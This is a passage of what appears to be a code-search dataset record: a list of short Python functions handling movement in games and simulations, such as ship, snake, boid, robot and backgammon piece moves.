'RIGHT'\n\t\t\tself.__threshold_steps = random.randint(25,50)\n\t\t\tself.__steps = 0\n\t\t# Confines the Donkeys movement to within the boundary \n\t\tself.__check_boundary()","def update(self):\n if self.x<0:\n self.x = 0\n\n if self.y <0:\n self.y = 0\n\n if bool(randint(0, 1))==True:\n if self.walker == True:\n self.x += randint(-2, 2)\n self.y += randint(-2, 2)","def move(self, action):\n self.time += 1\n\n # If ship is destroyed ship can only contemplate sadness and despair\n if not action or not self.is_playable():\n return None\n\n self.actualise = False\n\n if self.leroy_time == 1:\n self.back_to_normal()\n if self.leroy_time > 0:\n self.leroy_time -= 1\n\n # there is a chance that the ia enter in leroy mode\n # the ia goes mad for some time, acting randomly\n # added to allow the ships to explore the possible actions and not stay passive\n if not self.player and self.leroy_time == 0 and self.agent.behavior == \"network\" and random() < LEROY_RATE:\n self.leroy_jenkins()\n\n # training reward depending on position\n # self.agent.reward = self.go_bottom_reward()\n\n if isinstance(action, ActionOneHot):\n if action.pointing:\n self.pointing = Point(randint(0, DEFAULT_WIDTH-1), randint(0, DEFAULT_HEIGHT-1))\n elif isinstance(action, Action):\n if action.pointing:\n self.pointing = action.pointing\n # print(\"action.pointing\", action.pointing)\n # print(\"turn \", self.direction)\n\n if action.thrust:\n self.thrust()\n if action.shoot:\n self.shoot()","def move(self):\n x = y = z = 0.0\n for cell in self.cells:\n x += (cell.x)#*n\n y += (cell.y)#*n\n z += (cell.z)#*n\n np = float(len(self.cells))\n med = numpy.array([x/np,y/np,z/np])\n \n dists = []\n for cell in self.cells:\n d = (cell.x-self.x)**2+(cell.y-self.y)**2+(cell.z-self.z)**2\n d = numpy.sqrt(d)\n dists.append(d)\n #md = (cell.x-med[0])**2+(cell.y-med[1])**2+(cell.z-med[2])**2\n #dists[-1] = (dists[-1]+md)/2\n cell = self.cells[numpy.argmin(dists)]\n cc = numpy.array([cell.x, cell.y, cell.z])\n \n t = self.t\n if abs(self.dnp) * ( self.np-self.np_req) > 0:\n t = self.tr\n self.dcenter = (1-t)*(med-self.center + self.u*(cc-med))\n self.x,self.y,self.z = self.center = self.center + self.dcenter","def _change_fleet_direction(self):\n\t\tfor auto in self.autos.sprites():\n\t\t\tauto.rect.y -= self.settings.fleet_rise_speed\n\t\tself.settings.fleet_direction *= -1","def move(self, dx, dy):\r\n self.corner.x += dx\r\n self.corner.y += dy","def do_west(self, arg):\r\n moveDirection('west')","def turn_right(self):\n self.facing_direction += self.config\n if self.facing_direction > 7:\n self.facing_direction -= 8\n self.x, self.y = self.compute_positions()","def move():\n Robot.move()","def move(self, dx, dy):\n self.corner.x += dx\n self.corner.y += dy","def move(self, dx, dy):\n self.corner.x += dx\n self.corner.y += dy","def move(self, dx, dy):\n self.corner.x += dx\n self.corner.y += dy","def move(self):\n vector = vectors[compass.index(self.heading)]\n x = self.position[0] + vector[0]\n y = self.position[1] + vector[1]\n self._check_move(x, self.plateau[0])\n self._check_move(y, self.plateau[1])\n return replace(self, position=(x, y))","def move(self, direction):\n pass","def main():\n move()\n move()\n pick_beeper()\n move()\n turn_left()\n for i in range(2):\n move()\n put_beeper()\n turn_around()\n move_to_wall()\n turn_right()\n move_to_wall()\n turn_around()","def _change_fleet_direction(self): \n for alien in self.aliens.sprites():\n alien.rect.y += self.settings.fleet_drop_speed\n self.settings.fleet_direction *= -1","def moveRight(self,board_object):\n\t\tif checkClash(board_object,self,self.x,self.y+1) == 0:\n\t\t\toverlayMatrix(board_object,self,self.x,self.y+1)\n\t\t\tself.setPos(self.x,self.y+1)\n\t\t\tif self.y > board_object.start + 25: \n\t\t\t\tboard_object.start += 1\n\t\telse:\n\t\t\treturn 1","def jump(self):\r\n if self.grounded == True:\r\n self.vel.y = -13","def move_car(self):\n a = self.h / 50\n self.x += self.speed_x / FPS\n if self.x + 170 * a >= 1100:\n self.dir = -1\n self.speed_x = -self.speed_x\n if self.x - 170 * a <= 50:\n self.dir = 1\n self.speed_x = -self.speed_x","def move_west(self):\r\n self.move(dx=-1, dy=0)","def MoveRandom(self):\n r = random.randint(0,3)\n if r == 0: self.x += 1\n elif r == 1: self.y += 1\n elif r == 2: self.x -= 1\n elif r == 3: self.y -= 1","def move(self):\n neg = -1 # neg used to change direction of velocity if ship is jumping or not\n\n if self.goForward:\n self.x_pos += self.x_velocity\n\n if self.x_pos > self.final_pos_x and self.goForward:\n self.goForward = False\n\n if self.y_velocity > 0:\n self.isJump = False\n neg = 1\n\n self.y_pos += (self.y_velocity ** 2) * neg / 15 # formula to simulate a real fall or jump\n self.y_velocity += 0.5","def move_to(self, x, y):\r\n self.__current_room = x, y","def moveTurt(t, pole, count):\n x = t.xcor()\n y = t.ycor()\n t.goto(x, y + 10)\n t.goto(pole, y + 10)\n t.goto(pole, y)\n count += 1","def _move_tetrino(self, tetrino, x, y):\n tetrino.location_offset[constant.X] += x\n tetrino.location_offset[constant.Y] += y\n tetrino.update_location()","def move (self):\n\t\tself.x += self.direction[0]\n\t\tself.y += self.direction[1]\n\t\tself.row = (self.y - 15) / 30\n\t\tself.col = (self.x - 15) / 30\n\t\tself.rowcol = (self.row,self.col)\n\t\tself.draw()","def advance(self):\n #x and y coordinates move and advance by adding the randomly generated velocity \n self.center.x += self.velocity.dx\n self.center.y += self.velocity.dy\n return","def move_creatures(self):\r\n auto = self.state\r\n for y, line in enumerate(auto):\r\n for x, cell in enumerate(line):\r\n 'no creature cell'\r\n if cell == 0:\r\n continue\r\n next_cell = np.random.randint(0, 8)\r\n 'Stay in place'\r\n if next_cell == 0:\r\n continue\r\n ' check next cell'\r\n auto = self.check_next_cell(cell, auto, y, x, next_cell)\r\n\r\n self.nHealthy = np.sum(self.state == 1)\r\n self.nSick = np.sum(self.state == 2)\r\n return auto","def move_draught(event):\n global red_turn\n if(red_turn == False):\n return\n draught = board.find_withtag(CURRENT)[0]\n board.coords(draught,event.x-click_offset[0],event.y-click_offset[1],event.x-click_offset[0]+board_divisions,event.y-click_offset[1]+board_divisions)","def step(self, crowd):\n\n for boid in crowd:\n random_int = random.randint(0, 5)\n\n # if random_int > 4:\n # random_int = random.randint(0, 5)\n # if random_int > 4:\n # for i in range (1, 500):\n # goalX, goalY = self.goals[boid.goalNr]\n # x, y = boid.position\n\n # if (goalX + 10 >= x >= goalX - 10) and (goalY + 10 >= y >= goalY - 10):\n # boid.reached_goal(goalX + 10, goalY + 10)\n\n # dx = random.randint(0, self.width) - x\n # dy = random.randint(0, self.height) - y\n\n # # Unit vector in the same direction\n # distance = math.sqrt(dx * dx + dy * dy)\n # dx /= distance\n # dy /= distance\n\n # # And now we move:\n # x += dx\n # y += dy\n\n # boid.set_goal(dx, dy)\n\n # boid.position += boid.velocity\n #else:\n # boid.position += boid.velocity\n \n # Vector from me to cursor\n\n\n goalX, goalY = self.goals[boid.goalNr]\n x, y = boid.position\n\n if (goalX + 10 >= x >= goalX - 10) and (goalY + 10 >= y >= goalY - 10):\n boid.reached_goal(goalX + 10, goalY + 10)\n\n else:\n dx = goalX - x\n dy = goalY - y\n\n # Unit vector in the same direction\n # distance = np.linalg.norm(dx * dx + dy * dy)\n distance = math.sqrt(dx * dx + dy * dy)\n dx /= distance\n dy /= distance\n\n # And now we move:\n x += dx\n y += dy\n\n boid.set_goal(dx, dy)\n\n boid.position += boid.velocity","def turn(self):\n pass","def lock_in_soda_can(self):\n move_msg = Move()\n move_msg.lane = director.coldring\n move_msg.location = 1 # 1: fully down\n self.move_pub.publish(move_msg)","def right_twist(self):\n self.turn_by_deg(180)\n #time.sleep(.1)\n self.stop()\n self.turn_by_deg(180)\n #time.sleep(.1)\n self.stop()","def move_west(self):\n self.horizontal = (self.horizontal * 2)[1:5]\n self.vertical[0] = self.horizontal[1]\n self.vertical[2] = self.horizontal[3]","def MoveRightStep(self):\n if self.facing == 0:\n self.facing = 1\n self.x += self.stepLeft\n elif self.facing == 1:\n self.facing = 2\n self.y += self.stepUp\n elif self.facing == 2:\n self.facing = 3\n self.x -= self.stepRight\n elif self.facing == 3:\n self.facing = 0\n self.y -= self.stepDown","def make_move(self, move):\n if int(move) < 0 or int(move) > 48 or self.board[int(move) // 7][int(move) % 7] != \"\" or int(move) % 2 == 0:\n raise ValueError(\"{} is not a valid move for {}\".format(move, self.board))\n DotsAndBoxesState.score1 += self.check_score(move)\n self.board[int(move) // 7][int(move) % 7] = colors[self.turn] + self.turn + \"\\u001b[0m\"\n self.turn = get_opponent(self.turn) #change into another player's trun","def move(self):\n # neighbor offsets\n offset = [(-1, 1),(0, 1),(1, 1),(-1, 0),(1, 0),(-1, -1),(0, -1),(1, -1)]\n for i in range(len(offset)):\n x = self.x + offset[i][0] # neighboring coordinates\n y = self.y + offset[i][1]\n if self.island.animal(x, y) == 0: # neighboring spot is open\n self.island.remove(self) # remove from current spot\n self.x = x # new coordinates\n self.y = y\n self.island.register(self) # register new coordinates\n break # finished with move","def move(self):\n # neighbor offsets\n offset = [(-1, 1),(0, 1),(1, 1),(-1, 0),(1, 0),(-1, -1),(0, -1),(1, -1)]\n for i in range(len(offset)):\n x = self.x + offset[i][0] # neighboring coordinates\n y = self.y + offset[i][1]\n if self.island.animal(x, y) == 0: # neighboring spot is open\n self.island.remove(self) # remove from current spot\n self.x = x # new coordinates\n self.y = y\n self.island.register(self) # register new coordinates\n break # finished with move"],"string":"[\n \"def move(self):\\n \\n self.position = self.wander()\",\n \"def turn(self):\\r\\n # 1 throw the dice\\r\\n if (\\r\\n not self.player_list[self.current_player].is_in_jail()\\r\\n or self.try_leave_jail()\\r\\n ):\\r\\n thr = Throw()\\r\\n while thr is not None:\\r\\n # check in where the current player will land\\r\\n new_position = self.compute_new_position_from_dice(\\r\\n self.current_player, thr\\r\\n )\\r\\n self.move_player_to(self.current_player, new_position, thr=thr)\\r\\n\\r\\n if thr.is_double():\\r\\n thr = Throw()\\r\\n else:\\r\\n thr = None\\r\\n print(\\\"------------------------------\\\")\\r\\n\\r\\n self.player_observable_variables()\\r\\n\\r\\n # move turn to next player\\r\\n self.current_player += 1\\r\\n if self.current_player >= len(self.player_list):\\r\\n self.current_player = 0\\r\\n self.full_turn_count += 1\\r\\n print(\\\"**********************\\\")\\r\\n print(\\r\\n \\\"Full turn:\\\",\\r\\n self.full_turn_count,\\r\\n \\\"\\\\n\\\",\\r\\n \\\"\\\\n\\\".join(map(lambda x: x.full(), self.player_list)),\\r\\n )\\r\\n print(\\\"**********************\\\")\",\n \"def move(self):\\n if random.random() < 0.5:\\n self.y = (self.y + 1) % 100\\n else:\\n self.y = (self.y - 1) % 100\\n if random.random() < 0.5:\\n self.x = (self.x + 1) % 100\\n else:\\n self.x = (self.x - 1) % 100\",\n \"def throw(self, move):\\n for dice_index in move:\\n self.dice[dice_index - 1] = random.randint(1,6)\",\n \"def move(self):\\n if self._z >= 75:\\n a = random.random()\\n print(str(a))\\n if a < 0.2:\\n self._z += 1\\n if a > 0.2 and a < 0.9:\\n self._z -= 1\\n if a > 0.9:\\n self._z = self._z\\n else: \\n self._z -= 1\\n \\n b = random.random()\\n print(str(b))\\n if b < 0.1:\\n self._y += 1\\n if b > 0.1 and b < 0.2:\\n self._y -= 1\\n if b > 0.2 and b < 0.25:\\n self._x -= 1\\n if b > 0.25:\\n self._x += 1\",\n \"def move(self):\\n\\n # get the location we WOULD go to\\n newX = self.xcor() + self.dx\\n newY = self.ycor() + self.dy\\n while (abs (newX) > self.BOX_RANGE) or (abs(newY) > self.BOX_RANGE):\\n # print(\\\"choosing new direction... \\\",end=\\\"\\\")\\n self.chooseNewDirection()\\n # print(self.dx, self.dy)\\n newX = self.xcor() + self.dx\\n newY = self.ycor() + self.dy\\n\\n # now move our monster\\n super().move()\",\n \"def shift_board(self, dx, dy):\\n super().shift_board(dx, dy)\\n self.goals = np.roll(self.goals, dy, axis=0)\\n self.goals = np.roll(self.goals, dx, axis=1)\",\n \"def move(self):\\n if self.adjustment > 0:\\n # The player moves up a ladder\\n old_position = self.position\\n # In the next move, player on top of ladder\\n\\n self.position = old_position - self.dropped_steps\\n # player drops steps\\n super().move()\\n # player move\\n die = self.position - old_position + self.dropped_steps - \\\\\\n self.adjustment\\n \\\"\\\"\\\" \\n the current position of the player is: old position - \\n dropped_steps + die + adjustment. Rearranging to find the die.\\n \\n \\\"\\\"\\\"\\n if die < self.dropped_steps:\\n self.position = old_position\\n # if die is less than dropped_steps, the player will stand still.\\n else:\\n super().move()\\n # if not climbling a ladder, then the player make a regular move\",\n \"def move(self):\\n assert self.is_alive, \\\"Sprite is dead, and should not be able to move\\\"\\n if self.health > 3:\\n self.y += random.randint(-1, 1) # change by -1, 0, 1\\n self.x += random.randint(-1, 1) # change by -1, 0, 1\\n print(self.name, \\\"moves to position\\\", str(self.x), \\\",\\\", str(self.y))\",\n \"def _move_randomly(self):\\n a, b = randint(0, len(self.state) - 1), randint(0, len(self.state) - 1)\\n wiz1, wiz2 = self.state[a], self.state[b]\\n self._swap_wizards(wiz1, wiz2)\",\n \"def move(self):\\r\\n if self.d == 'NORTH' and (self.y + 1) <= table_max_y:\\r\\n self.y += 1\\r\\n elif self.d == 'EAST' and (self.x + 1) <= table_max_x:\\r\\n self.x += 1\\r\\n elif self.d == 'SOUTH' and (self.y - 1) >= 0:\\r\\n self.y -= 1\\r\\n elif self.d == 'WEST' and (self.x - 1) >= 0:\\r\\n self.x -= 1\\r\\n else:\\r\\n print(\\\"Edge of Table Reached!\\\")\",\n \"def shift_board(self, dx, dy):\\n self.board = np.roll(self.board, dy, axis=0)\\n self.board = np.roll(self.board, dx, axis=1)\\n self.agent_locs += [dy, dx]\\n self.agent_locs %= self.board.shape\\n self.update_exit_locs()\",\n \"def turn_ship_right(self):\\n self.degrees -= movement\",\n \"def move(self, direction):\\n newx = self.x\\n newy = self.y\\n newy += random.randint(-1, 1)\\n newx += random.randint(-1, 1)\\n if self.tmap.contents[newy][newx] != '#':\\n self.x = newx\\n self.y = newy\",\n \"def move(self):\\n pass\",\n \"def _move(self, event):\\n if self._current_tower.get_value() > self._coins:\\n return\\n\\n #move the shadow tower to mouse position\\n position = event.x, event.y\\n self._current_tower.position = position\\n\\n legal, grid_path = self._game.attempt_placement(position)\\n\\n #find the best path and covert positions to pixel positions\\n path = [self._game.grid.cell_to_pixel_centre(position)\\n for position in grid_path.get_shortest()]\\n\\n #Task 1.2 (Tower placement): Draw the tower preview here\\n self._view.draw_preview(self._current_tower, legal)\\n self._view.draw_path(path)\",\n \"def move_tie_fighters(self):\\n for i in range(len(self.tie_fighters)):\\n self.tie_fighters[i].move_tie_fighter()\",\n \"def make_turn(self):\\n # if play first, start in the middle\\n if np.count_nonzero(self.board) == 0:\\n self.place_disc(self.board.shape[1] / 2)\\n return 1\\n\\n\\n # win if possible\\n for try_column in range(0,self.board.shape[1]):\\n if 0 == self.board[0, try_column]:\\n new_board = self.simulate_place_disc(self.board, try_column, self.id())\\n if dhw.did_he_win(new_board, self.id(), try_column):\\n self.place_disc(try_column)\\n return 1\\n\\n # don't loose if in danger\\n for try_column in range(0, self.board.shape[1]):\\n if 0 == self.board[0,try_column]:\\n new_board = self.simulate_place_disc(self.board, try_column, 3 - self.id())\\n if dhw.did_he_win(new_board, 3 - self.id(), try_column):\\n self.place_disc(try_column)\\n return 1\\n\\n # don't fall in trap!\\n forbidden_columns = []\\n for try_column in range(0, self.board.shape[1]):\\n if 0 == self.board[0,try_column]:\\n new_board = self.simulate_place_disc(self.board, try_column, self.id()) # my move\\n new_board = self.simulate_place_disc(new_board, try_column, 3 - self.id()) # enemy move\\n if dhw.did_he_win(new_board, 3 - self.id(), try_column):\\n if try_column not in forbidden_columns: forbidden_columns.append(try_column)\\n\\n # don't ruin my trap\\n for try_column in range(0, self.board.shape[1]):\\n if 0 == self.board[0,try_column]:\\n new_board = self.simulate_place_disc(self.board, try_column, 3 - self.id()) # 'my' move\\n new_board = self.simulate_place_disc(new_board, try_column, self.id()) # my move\\n if dhw.did_he_win(new_board, self.id(), try_column):\\n if try_column not in forbidden_columns: forbidden_columns.append(try_column)\\n\\n # allow forbidden_columns if no other choice\\n if np.count_nonzero(self.board[0, :]) == self.board.shape[1] - len(forbidden_columns):\\n forbidden_columns = []\\n\\n # otherwise, play randomly\\n rannum = random.randrange(7)\\n while 0 != self.board[0, rannum] or rannum in forbidden_columns:\\n rannum = random.randrange(7)\\n self.place_disc(rannum)\\n return 1\",\n \"def fireSouth(self):\\n self.rotate('s')\\n gun = Laser(self)\\n gun.shoot('s')\\n self.agent.actionCompleted()\",\n \"def move(self):\\n self._move_range_shuffle(3)\\n self._move_satisfy_random_constraint()\\n # self._move_range_shuffle(3)\\n #if (curr_energy > 50):\\n # self._move_satisfy_random_constraint()\\n #else:\\n # self._move_range_shuffle(3)\",\n \"def force_move():\\n if ZERO_BASE_PLYR_POS in range(0, 10):\\n # we cant go up, so go down\\n move_player(\\\"south\\\")\\n else:\\n move_player(\\\"north\\\")\",\n \"def turn_ship_left(self):\\n self.degrees += movement\",\n \"def movement(self):\",\n \"def move(self):\\n \\n # checks for bots nearby\\n next_move = self.follow()\\n \\n # finds a random move if no bot\\n if next_move is self.position:\\n self.position = self.wander()\\n else:\\n self.position = next_move\",\n \"def migration(self):\\n\\n coordinates = self.get_random_coordinates()\\n for coordinate in coordinates:\\n if isinstance(self.cells[coordinate], (Jungle, Savannah, Desert)):\\n self.cell_move_herbivores(coordinate)\\n self.cell_move_carnivores(coordinate)\\n\\n for coordinate in coordinates:\\n if isinstance(self.cells[coordinate], (Jungle, Savannah, Desert)):\\n self.cells[coordinate].move_new_animals()\",\n \"def move(x,y):\\r\\n pass\",\n \"def make_move(self, move):\\n self.board[int(move) - 1] = self.nplayer\",\n \"def move(self, direction):\\n # replace with your code\\n pass\",\n \"def move(self, direction):\\n # replace with your code\\n pass\",\n \"def fireNorth(self):\\n self.rotate('n')\\n gun = Laser(self)\\n gun.shoot('n')\\n self.agent.actionCompleted()\",\n \"def makeMove(self, move, player):\",\n \"def move(t, length):\\n pu(t)\\n\\t\\n fd(t, length)\\n pd(t)\",\n \"def move_north(self):\\r\\n self.move(dx=0, dy=-1)\",\n \"def steerright(self):\\n self.direction = self.direction-self.steering\\n if self.direction < 0:\\n self.direction = 360-90\\n self.image, self.rect = rot_center(self.image_orig,self.rect,self.direction)\",\n \"def move_lift_ground():\\n return _move_lift(0)\",\n \"def AeroMove(self, pos):\\r\\n\\r\\n pass\",\n \"def start_roll(self):\\n\\t\\tprint(\\\"Die started!\\\")\\n\\t\\tself.rolling = True\\n\\t\\tpygame.time.set_timer(ROLL_DIE, self.roll_speed)\",\n \"def make_move(self, direction):\\r\\n\\t\\tif direction == 0:\\r\\n\\t\\t\\tself.board[self.x][self.y], self.board[self.x-1][self.y] = self.board[self.x-1][self.y], self.board[self.x][self.y]\\r\\n\\t\\t\\tself.x -= 1\\r\\n\\r\\n\\t\\telif direction == 1:\\r\\n\\t\\t\\tself.board[self.x][self.y], self.board[self.x][self.y+1] = self.board[self.x][self.y+1], self.board[self.x][self.y]\\r\\n\\t\\t\\tself.y += 1\\r\\n\\r\\n\\t\\telif direction == 2:\\r\\n\\t\\t\\tself.board[self.x][self.y], self.board[self.x+1][self.y] = self.board[self.x+1][self.y], self.board[self.x][self.y]\\r\\n\\t\\t\\tself.x += 1\\r\\n\\r\\n\\t\\telif direction == 3:\\r\\n\\t\\t\\tself.board[self.x][self.y], self.board[self.x][self.y-1] = self.board[self.x][self.y-1], self.board[self.x][self.y]\\r\\n\\t\\t\\tself.y -= 1\",\n \"def fireWest(self):\\n self.rotate('w')\\n gun = Laser(self)\\n gun.shoot('w')\\n self.agent.actionCompleted()\",\n \"def make_move(self, tower):\\r\\n height, index = self.__find_random_moves(tower)\\r\\n \\r\\n if self.stat_brain.all_valid(tower) == 0 or self.stat_brain.is_valid(height, index, tower):\\r\\n return height, index\\r\\n else:\\r\\n while not self.stat_brain.is_valid(height, index, tower):\\r\\n height, index = self.__find_random_moves(tower)\\r\\n \\r\\n return height, index\",\n \"def move_draught_end(event):\\n global red_draughts, white_draughts\\n global board_array\\n global old_point\\n global die_1_num, die_2_num, doubles\\n draught = board.find_withtag(CURRENT)[0]\\n #Figure out which point they want to put it on\\n bottom = (event.y-click_offset[1] >= board_height//2)\\n point_left_edges = [board_divisions*i for i in xrange(0,15) if i != 7]\\n is_red = draught in red_draughts\\n if bottom == False:\\n new_point = 12+point_left_edges.index(min(point_left_edges, key=lambda x:abs(x-event.x+click_offset[0])))\\n else:\\n new_point = 13-point_left_edges.index(min(point_left_edges, key=lambda x:abs(x-event.x+click_offset[0]))) \\n #Check legality\\n if(board_array[new_point][1] > 1 and is_red) or (board_array[new_point][0] > 1 and not is_red): #if too many opposite color on square\\n draw_draughts()\\n return\\n if(board_array[0][0] > 0 and is_red and old_point != 0)or(board_array[25][1] > 0 and not is_red and old_point != 25):#Obligated to move off bar first\\n draw_draughts()\\n return\\n if(new_point == 0 and not is_red): #if white trying to bear off\\n for i in xrange(7,26):\\n if(board_array[i][1] > 0): #If white has a piece outside home, can't bear off\\n draw_draughts()\\n return\\n if(new_point == 25 and is_red): #if red trying to bear off\\n for i in xrange(0,18):\\n if(board_array[i][0] > 0): #If red has a piece outside home, can't bear off\\n draw_draughts()\\n return \\n \\n if(new_point-old_point == die_1_num and is_red) or (old_point-new_point == die_1_num and not is_red):\\n if(doubles == False) or (die_2_num != 0):\\n die_1_num = 0\\n else: \\n die_2_num = die_1_num\\n doubles = False\\n elif(new_point-old_point == die_2_num and is_red) or (old_point-new_point == die_2_num and not is_red):\\n if(doubles == False) or (die_1_num != 0):\\n die_2_num = 0\\n else: \\n die_1_num = die_2_num\\n doubles = False\\n else: #Can't move there on this roll\\n draw_draughts()\\n return\\n update_dice()\\n #Update board_array\\n if is_red:\\n board_array[old_point][0] -= 1\\n board_array[new_point][0] += 1\\n if(board_array[new_point][1] == 1): #Handle hits\\n board_array[new_point][1] -= 1\\n board_array[25][1] += 1\\n else:\\n board_array[old_point][1] -= 1\\n board_array[new_point][1] += 1\\n if(board_array[new_point][0] == 1): #Handle hits\\n board_array[new_point][0] -= 1\\n board_array[0][0] += 1\\n\\n draw_draughts()\\n if(die_1_num == 0 and die_2_num == 0):\\n comp_turn()\",\n \"def move_marble(self, coordinates, direction):\\n pass\",\n \"def movement(self):\\n self.rect.left -= self.speedx #to move the asteroid to the left\",\n \"def hanoi_tower(n):\\n def move_tower(height, from_pole, to_pole, with_pole):\\n if height >= 1:\\n move_tower(height-1, from_pole, with_pole, to_pole)\\n move_disc(from_pole, to_pole, height)\\n move_tower(height-1, with_pole, to_pole, from_pole)\\n\\n def move_disc(fp, tp, height):\\n tp.append(fp.pop())\\n show_poles()\\n\\n def show_poles():\\n line = \\\"\\\"\\n line += '{:<{}s}'.format(str(a), str_len)\\n line += '{:<{}s}'.format(str(b), str_len)\\n line += '{:<{}s}'.format(str(c), str_len)\\n print(line)\\n\\n a = list(range(n, 0, -1))\\n b = []\\n c = []\\n str_len = len(str(a))\\n\\n show_poles()\\n move_tower(n, a, c, b)\\n print('\\\\n')\",\n \"def wander(self, speed: float = 1.):\\n pos = np.array(self.pos)\\n\\n random_heading = random.random() * 2 * np.pi\\n rand_vector = speed * np.array([np.cos(random_heading), np.sin(random_heading)])\\n target_location = pos + rand_vector\\n target_location = np.clip(target_location, [0, 0], [99.9, 99.9])\\n self.model.space.move_agent(self, target_location)\\n return\",\n \"def random_move(turtle, distance):\\n angle = uniform(-90,90)\\n d = uniform(0,distance)\\n turtle.left(angle)\\n turtle.forward(d)\",\n \"def move(self, row, col, player):\",\n \"def __snake_move(self):\\n self.__eat_candy()\\n # move tail and body\\n n_snake = len(self.__snake)\\n for i in range(1, n_snake):\\n s2 = self.__snake[n_snake - i]\\n s1 = self.__snake[n_snake - i - 1]\\n s2.move(s1.pos())\\n # move head\\n pos = self.__snake[0].pos()\\n tmp_snake = Snake(self, direction=self.__h_direction, position=pos)\\n h_pos = self.__get_next_head_pos(tmp_snake)\\n tmp_snake.remove()\\n icon = f'resources/{self.__directions[self.__h_direction]}.svg'\\n new_head = Snake(self, icon, self.__h_direction, self.__cell_edge, h_pos)\\n old_head = self.__snake[0]\\n self.__snake[0] = new_head\\n old_head.remove()\\n self.__crash_check()\",\n \"def move(self):\\n self.pos += self.direc\\n self.nearest_node = self.pixel_to_node()\",\n \"def roll_dices(self):\\n dice1 = random.randint(1, 6)\\n dice2 = random.randint(1, 6)\\n\\n self.client.send_player_end_dices()\\n self.game.player_rolled_dices([dice1, dice2])\\n asyncio.ensure_future(self.move(dice1 + dice2))\",\n \"def move(self, direction: str) -> int:\\n x, y = self.snake[-1][0] + self.dirs[direction][0], self.snake[-1][1] + self.dirs[direction][1]\\n # print(x,y)\\n # went out bound\\n if x >= self.n or y >= self.m or x < 0 or y < 0:\\n return -1\\n tail = self.snake.popleft()\\n self.snake_set.discard(tail)\\n if (x, y) in self.snake_set:\\n return -1\\n\\n if len(self.food) > 0 and (x, y) == (self.food[0][0], self.food[0][1]):\\n self.food.popleft()\\n self.snake.appendleft(tail)\\n self.snake_set.add(tail)\\n self.snake.append((x, y))\\n self.snake_set.add((x, y))\\n\\n return len(self.snake) - 1\",\n \"def example_move(self):\\n self.right() # start rotating right\\n time.sleep(1) # turn for a second\\n self.stop() # stop\\n self.servo(1000) # look right\\n time.sleep(.25) # give your head time to move\\n self.servo(2000) # look left\",\n \"def example_move(self):\\n self.right() # start rotating right\\n time.sleep(1) # turn for a second\\n self.stop() # stop\\n self.servo(1000) # look right\\n time.sleep(.25) # give your head time to move\\n self.servo(2000) # look left\",\n \"def moveNorth(self):\\n self._move('n', - Tile.VerticalDifference)\",\n \"def walk(self):\\n # === Choose direction ===\\n # Increase probability of movement relative to map dimensions\\n v_move = self.width / self.height\\n h_move = self.height / self.width\\n north, south, east, west = v_move, v_move, h_move, h_move\\n\\n # Weight the random walk against the edges\\n if self.drunkard_x < self.width * 0.25: # far left side of map\\n east += self.weighted_toward_center\\n elif self.drunkard_x > self.width * 0.75: # far right side of map\\n west += self.weighted_toward_center\\n if self.drunkard_y < self.height * 0.25: # top of the map\\n south += self.weighted_toward_center\\n elif self.drunkard_y > self.height * 0.75: # bottom of the map\\n north += self.weighted_toward_center\\n\\n # Weight in favor of the previous direction\\n if self._prev_direction == \\\"north\\\":\\n north += self.weighted_toward_prev_direction\\n if self._prev_direction == \\\"south\\\":\\n south += self.weighted_toward_prev_direction\\n if self._prev_direction == \\\"east\\\":\\n east += self.weighted_toward_prev_direction\\n if self._prev_direction == \\\"west\\\":\\n west += self.weighted_toward_prev_direction\\n\\n weights = [south, north, east, west]\\n moves = {\\\"south\\\": (0, 1), \\\"north\\\": (0, -1), \\\"east\\\": (1, 0), \\\"west\\\": (-1, 0)}\\n\\n direction = choices(list(moves.keys()), weights)[0]\\n dx, dy = moves[direction]\\n\\n # === Walk ===\\n # check collision at edges\\n if (1 < self.drunkard_x + dx < self.width - 1) and (1 < self.drunkard_y + dy < self.height - 1):\\n self.drunkard_x += dx\\n self.drunkard_y += dy\\n if self.tiles[self.drunkard_x][self.drunkard_y]:\\n self.tiles[self.drunkard_x][self.drunkard_y].carve()\\n self._tiles_filled += 1\\n self._prev_direction = direction\",\n \"def move(self, direction, cycles):\\n\\t\\tpass\",\n \"def autoMove(self) :\\n\\n\\t\\tdx = Places.getLoc(self.targetPlace)[0] - self.avatarNP.getX()\\n\\t\\tdy = Places.getLoc(self.targetPlace)[1] - self.avatarNP.getY()\\n\\t\\tdist = math.sqrt(dx*dx + dy*dy)\\n\\t\\th0 = self.avatarNP.getH()\\n\\t\\tif dist < 4 :\\n\\t\\t\\t# pick new target and determine deltaH\\n\\t\\t\\tnbors = Places.getNeighbors(self.targetPlace)\\n\\t\\t\\tx = random.randint(0,len(nbors)-1)\\n\\t\\t\\tif nbors[x] == self.oldPlace :\\n\\t\\t\\t\\tx = (1 if x == 0 else x-1)\\n\\t\\t\\tt = nbors[x]\\n\\t\\t\\th = self.heading(\\n\\t\\t\\t\\tself.avatarNP.getX(), self.avatarNP.getY(),\\n\\t\\t\\t\\tPlaces.getLoc(t)[0], Places.getLoc(t)[1])\\n\\t\\t\\tself.deltaH = h - h0\\n\\t\\t\\tif self.deltaH > 180 : self.deltaH -= 360\\n\\t\\t\\telif self.deltaH < -180 : self.deltaH += 360\\n\\t\\t\\tself.deltaH /= 2\\n\\t\\t\\tself.oldPlace = self.targetPlace\\n\\t\\t\\tself.targetPlace = t\\n\\t\\t\\tself.turning = True\\n\\n\\t\\t# adjust heading and position\\n\\t\\tt = self.targetPlace\\n\\t\\th = self.heading(self.avatarNP.getX(), self.avatarNP.getY(),\\n\\t\\t\\t\\t Places.getLoc(t)[0], Places.getLoc(t)[1])\\n\\t\\tdh1 = h - h0\\n\\t\\tif dh1 > 180 : dh1 -= 360\\n\\t\\telif dh1 < -180 : dh1 += 360\\n\\t\\tif self.turning :\\n\\t\\t\\tdh2 = self.deltaH * globalClock.getDt()\\n\\t\\t\\tif math.fabs(dh1) <= math.fabs(dh2) : \\n\\t\\t\\t\\tself.turning = False\\n\\t\\t\\telse :\\n\\t\\t\\t\\th = h0 + dh2\\n\\t\\tself.avatarNP.setH(h)\\n\\t\\tself.avatarNP.setFluidY(self.avatarNP,-2 * globalClock.getDt())\\n\\t\\t\\n\\t\\treturn\\n\\n\\t\\t\\\"\\\"\\\"\\n\\t\\tif self.rotateDir == -1:\\n\\t\\t\\tself.rotateDir = random.randint(1,25) #chances to rotate\\n\\t\\tif self.rotateDuration == -1:\\n\\t\\t\\tself.rotateDuration = random.randint(200,400)\\n\\n\\t\\t# guide the moving direction of the bot\\n\\t\\tif self.rotateDir <= 3 : # turn 